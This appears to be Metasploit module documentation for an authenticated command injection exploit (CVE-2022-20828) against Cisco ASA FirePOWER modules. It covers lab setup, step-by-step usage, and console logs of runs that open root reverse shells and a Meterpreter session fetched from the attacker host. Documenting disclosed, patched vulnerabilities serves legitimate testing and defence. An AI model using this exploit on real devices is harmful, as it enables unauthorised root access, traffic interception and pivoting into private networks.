## Vulnerable Application

### Description

This module exploits an authenticated command injection vulnerability affecting
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
ASDM web server and lands in the FirePower Services SFR module's Linux virtual
machine as the root user. Access to the virtual machine allows the attacker to
pivot to the inside network, and access the outside network. Also, the SFR
virtual machine is running snort on the traffic flowing through the ASA, so
the attacker should have access to this diverted traffic as well.

This module requires ASDM credentials in order to traverse the ASDM interface.
A similar attack can be performed via Cisco CLI (over SSH), although that isn't
implemented here. This attack also assumes the module is installed and
configured.

Finally, it's worth noting that this attack bypasses the effects of the
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
available but this attack makes it available).

Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.

### Setup

Cisco ASA that support the FirePOWER Services module are, to our knowledge,
strictly hardware firewalls and not capable of being emulated. As such,
testing requires a physical device. Once a device is acquired, you'll
additionally need access to Cisco downloads of ASDM, ASA software, and the
FirePOWER Services Software for ASA. Unfortunately, Cisco hides these
behind a paywall (or a "contract" wall).

However, if you do acquire a Cisco ASA that supports the FirePOWER Services
module, then it will likely come with the module pre-installed. These systems
do support downgrading of the module via uninstall and reinstallation. If
you need to follow that course, then I found the following [guide](https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5) to be an excellent guide that
demonstrates how to install the FirePOWER module from boot image through
full installation.

This particular module exploits the FirePOWER module via ASDM, so you'll need
that installed and running as well. Likely, the ASA will have an ASDM binary
package already installed, but if not you'll need to download that from Cisco
and copy it onto the ASA. However, once that is complete, you can run the
following commands to start ASDM and enable it on the inside/outside network.

```
asdm image disk0:/asdm<version>.bin
http server enable
http network mask inside
http network mask outside
```

Where network and mask are who you want to be able to access it and inside
is the zone. E.g. "0.0.0.0 0.0.0.0 outside" is the internet. And that should
satisfy the pre-requisites for exploitation (ASDM+sfr).

## Verification Steps

* Follow setup steps above.
* Do: `use exploit/linux/http/cisco_asax_sfr_rce`
* Do: `set USERNAME <username>`
* Do: `set PASSWORD <password>`
* Do: `set RHOST <ip>`
* Do: `set LHOST <ip>`
* Do: `check`
* Verify the remote host is vulnerable.
* Do: `run`
* Verify the module acquires a root shell

## Options

### USERNAME

The username to authenticate with the ASDM http web server with.

### PASSWORD

The password to authenticate with the ASDM http web server with.

## Scenarios

### Successful exploitation of ASA 5506-X with FirePOWER Services for a root shell

```
msf > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf exploit(linux/http/cisco_asax_sfr_rce) > run

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.21:43056 ) at 2022-04-21 12:49:15 -0700

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```

### Successful exploitation of ASA 5506-X with FirePOWER Services for a Meterpreter shell

```
msf > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1
TARGET => 1
msf exploit(linux/http/cisco_asax_sfr_rce) > run

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.2:8080/FeB2t5vKpa
[*] Client 10.0.0.21 (curl/7.48.0) requested /FeB2t5vKpa
[*] Sending payload to 10.0.0.21 (curl/7.48.0)
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.21:43058 ) at 2022-04-21 12:51:44 -0700
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.

meterpreter > shell
Process 6315 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```
